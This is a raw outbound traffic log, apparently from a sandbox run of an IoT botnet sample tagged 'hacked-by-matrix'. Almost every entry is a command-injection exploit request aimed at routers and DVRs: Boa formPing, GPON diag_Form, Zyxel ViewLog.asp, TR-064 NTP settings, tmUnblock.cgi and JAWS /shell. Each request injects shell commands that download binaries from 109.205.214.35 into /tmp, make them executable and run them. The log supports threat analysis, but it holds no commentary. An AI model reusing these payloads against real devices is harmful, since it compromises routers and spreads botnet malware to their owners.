Mar 21, 2024 05:17:24.503938913 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	57116	178.219.133.22	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.509850025 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:25.108851910 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	58620	2.201.37.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640600920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	52460	42.76.99.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640600920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	56488	178.162.55.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640659094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	42374	42.172.205.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640682936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	54630	37.97.110.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640723944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	56456	5.141.17.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640759945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	48220	210.103.95.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640788078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	38618	178.107.251.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640829086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	55856	109.220.114.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.640902042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	37234	206.189.174.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.742624044 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:25.896945953 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c6aab3-157" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Mar 21, 2024 05:17:25.897305965 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:25 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	47666	99.240.149.41	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.742748976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	43706	213.239.220.142	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.760356903 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:25.933028936 CET	993	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:25 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 38 3a 61 30 3a 37 30 64 38 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:25 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 311Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 2a01:4f8:a0:70d8::2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	60948	172.66.46.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.829538107 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	47700	99.240.149.41	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.868402958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	33244	83.147.206.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.924447060 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:26.451833963 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	54584	75.103.82.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.084852934 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:27.576174021 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
